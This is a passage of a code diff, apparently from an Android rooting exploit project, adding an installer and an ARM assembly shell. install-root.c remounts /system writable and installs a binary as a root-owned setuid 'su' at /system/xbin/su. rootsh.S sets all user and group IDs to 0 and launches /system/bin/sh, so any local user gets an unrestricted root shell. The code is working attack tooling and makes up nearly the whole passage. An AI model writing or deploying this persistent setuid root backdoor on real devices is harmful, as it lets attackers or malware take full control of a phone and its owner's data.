+    perror("exec install-root");
+    return 2;
+}

src/exploit/stub/android/log.h

@@ -0,0 +1 @@
+#pragma once

src/installer/install-root.c

@@ -0,0 +1,71 @@
+#include <errno.h>
+#include <fcntl.h>
+#include <stdio.h>
+#include <string.h>
+#include <sys/mount.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <unistd.h>
+
+static int
+copy_file(const char *source, const char *destination)
+{
+  char buffer[16384];
+  int input = -1;
+  int output = -1;
+  int result = -1;
+  ssize_t count;
+
+  input = open(source, O_RDONLY);
+  if (input < 0)
+    goto out;
+  output = open(destination, O_WRONLY | O_CREAT | O_TRUNC, 0755);
+  if (output < 0)
+    goto out;
+
+  while ((count = read(input, buffer, sizeof(buffer))) > 0) {
+    char *cursor = buffer;
+    ssize_t remaining = count;
+    while (remaining > 0) {
+      ssize_t written = write(output, cursor, remaining);
+      if (written <= 0)
+        goto out;
+      cursor += written;
+      remaining -= written;
+    }
+  }
+  if (count < 0 || fchown(output, 0, 0) != 0 ||
+      fchmod(output, 06755) != 0 || fsync(output) != 0)
+    goto out;
+  result = 0;
+
+out:
+  if (output >= 0)
+    close(output);
+  if (input >= 0)
+    close(input);
+  return result;
+}
+
+int
+main(void)
+{
+  int result;
+
+  printf("installer uid=%d gid=%d\n", getuid(), getgid());
+  if (getuid() != 0)
+    return 2;
+
+  if (mount(NULL, "/system", NULL, MS_REMOUNT, NULL) != 0) {
+    printf("remount-rw failed: %s\n", strerror(errno));
+    return 3;
+  }
+
+  result = copy_file("/data/local/tmp/rootsh-armv7", "/system/xbin/su");
+  sync();
+  if (mount(NULL, "/system", NULL, MS_REMOUNT | MS_RDONLY, NULL) != 0)
+    printf("remount-ro warning: %s\n", strerror(errno));
+
+  printf("install-su %s\n", result == 0 ? "ok" : "failed");
+  return result == 0 ? 0 : 4;
+}

src/su/rootsh.S

@@ -0,0 +1,37 @@
+    .syntax unified
+    .arm
+    .section .text
+    .global _start
+    .type _start, %function
+_start:
+    ldr r3, [sp]            @ argc
+    add r4, sp, #4          @ argv = &stack[1]
+    add r5, r4, r3, lsl #2 @ envp = argv + argc
+    add r5, r5, #4          @ skip argv terminator
+
+    mov r0, #0
+    mov r1, #0
+    mov r2, #0
+    mov r7, #170            @ setresgid(0, 0, 0)
+    svc #0
+
+    mov r0, #0
+    mov r1, #0
+    mov r2, #0
+    mov r7, #164            @ setresuid(0, 0, 0)
+    svc #0
+
+    adr r0, shell_path
+    mov r1, r4
+    mov r2, r5
+    mov r7, #11             @ execve("/system/bin/sh", argv, envp)
+    svc #0
+
+    mov r0, #127
+    mov r7, #1              @ exit(127)
+    svc #0
+
+    .align 2
+shell_path:
+    .asciz "/system/bin/sh"
+    .size _start, .-_start